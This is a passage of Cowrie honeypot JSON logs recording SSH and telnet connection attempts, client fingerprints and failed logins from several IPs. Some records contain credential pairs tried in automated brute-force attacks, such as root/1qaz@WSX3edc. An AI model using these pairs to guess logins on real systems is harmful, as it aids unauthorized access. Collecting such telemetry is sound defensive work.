{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34648,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b230a5d9d1a","protocol":"ssh","message":"New connection: 176.65.132.129:34648 (159.203.135.109:22) [session: 2b230a5d9d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:25.103540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:25.113837Z","src_ip":"176.65.132.129","session":"2b230a5d9d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:25.196658Z","src_ip":"176.65.132.129","session":"2b230a5d9d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:25.443622Z","src_ip":"176.65.132.129","session":"2b230a5d9d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58056,"dst_ip":"10.17.0.5","dst_port":23,"session":"5af84dda0ab4","protocol":"telnet","message":"New connection: 152.42.224.71:58056 (10.17.0.5:23) [session: 5af84dda0ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:26.204115Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58062,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee755e62fc41","protocol":"telnet","message":"New connection: 152.42.224.71:58062 (10.17.0.5:23) [session: ee755e62fc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:26.337241Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:26.529751Z","src_ip":"176.65.132.129","session":"2b230a5d9d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54822,"dst_ip":"159.203.135.109","dst_port":22,"session":"8479a6177718","protocol":"ssh","message":"New connection: 176.65.132.129:54822 (159.203.135.109:22) [session: 8479a6177718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:28.393051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:28.484849Z","src_ip":"176.65.132.129","session":"8479a6177718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:28.488348Z","src_ip":"176.65.132.129","session":"8479a6177718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:28.890985Z","src_ip":"176.65.132.129","session":"8479a6177718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58074,"dst_ip":"10.17.0.5","dst_port":23,"session":"3141758121a4","protocol":"telnet","message":"New connection: 152.42.224.71:58074 (10.17.0.5:23) [session: 3141758121a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:29.287730Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:29.979528Z","src_ip":"176.65.132.129","session":"8479a6177718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"29945d2a145a","protocol":"telnet","message":"New connection: 152.42.224.71:58082 (10.17.0.5:23) [session: 29945d2a145a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:30.277188Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54834,"dst_ip":"159.203.135.109","dst_port":22,"session":"f32be805a09a","protocol":"ssh","message":"New connection: 176.65.132.129:54834 (159.203.135.109:22) [session: f32be805a09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:31.805363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:31.810814Z","src_ip":"176.65.132.129","session":"f32be805a09a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":60550,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ca73b8f7449","protocol":"ssh","message":"New connection: 103.27.238.114:60550 (10.17.0.5:22) [session: 5ca73b8f7449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:31.891772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:31.896748Z","src_ip":"103.27.238.114","session":"5ca73b8f7449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:31.899425Z","src_ip":"176.65.132.129","session":"f32be805a09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.05818605422974,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:32.072574Z","src_ip":"152.42.224.71","session":"00e1bfc26218","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:32.147111Z","src_ip":"176.65.132.129","session":"f32be805a09a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:32.159756Z","src_ip":"103.27.238.114","session":"5ca73b8f7449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"regina","message":"login attempt [root/regina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:32.951065Z","src_ip":"103.27.238.114","session":"5ca73b8f7449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:33.380534Z","src_ip":"176.65.132.129","session":"f32be805a09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:34.217481Z","src_ip":"103.27.238.114","session":"5ca73b8f7449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54840,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c2e37d2a373","protocol":"ssh","message":"New connection: 176.65.132.129:54840 (159.203.135.109:22) [session: 8c2e37d2a373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:34.998060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:35.003663Z","src_ip":"176.65.132.129","session":"8c2e37d2a373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:35.085752Z","src_ip":"176.65.132.129","session":"8c2e37d2a373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:35.332272Z","src_ip":"176.65.132.129","session":"8c2e37d2a373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6b968c63ebd","protocol":"telnet","message":"New connection: 152.42.224.71:58090 (10.17.0.5:23) [session: c6b968c63ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:35.486462Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:36.417737Z","src_ip":"176.65.132.129","session":"8c2e37d2a373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.04993176460266,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:37.550612Z","src_ip":"152.42.224.71","session":"0a85e2069dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46272,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc971acf4265","protocol":"ssh","message":"New connection: 176.65.132.129:46272 (159.203.135.109:22) [session: fc971acf4265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:38.245443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:38.248633Z","src_ip":"176.65.132.129","session":"fc971acf4265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:38.330143Z","src_ip":"176.65.132.129","session":"fc971acf4265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:38.574777Z","src_ip":"176.65.132.129","session":"fc971acf4265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:39.660649Z","src_ip":"176.65.132.129","session":"fc971acf4265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.98410654067993,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:41.144717Z","src_ip":"152.42.224.71","session":"097dedd458b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46280,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ddd83954f6","protocol":"ssh","message":"New connection: 176.65.132.129:46280 (159.203.135.109:22) [session: 65ddd83954f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:41.644099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:41.672480Z","src_ip":"176.65.132.129","session":"65ddd83954f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:41.726899Z","src_ip":"176.65.132.129","session":"65ddd83954f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:42.050099Z","src_ip":"176.65.132.129","session":"65ddd83954f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:43.134131Z","src_ip":"176.65.132.129","session":"65ddd83954f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46290,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1380015bfa7","protocol":"ssh","message":"New connection: 176.65.132.129:46290 (159.203.135.109:22) [session: e1380015bfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:45.031755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:45.037104Z","src_ip":"176.65.132.129","session":"e1380015bfa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.79083824157715,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:45.057115Z","src_ip":"152.42.224.71","session":"20af3467e8f5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa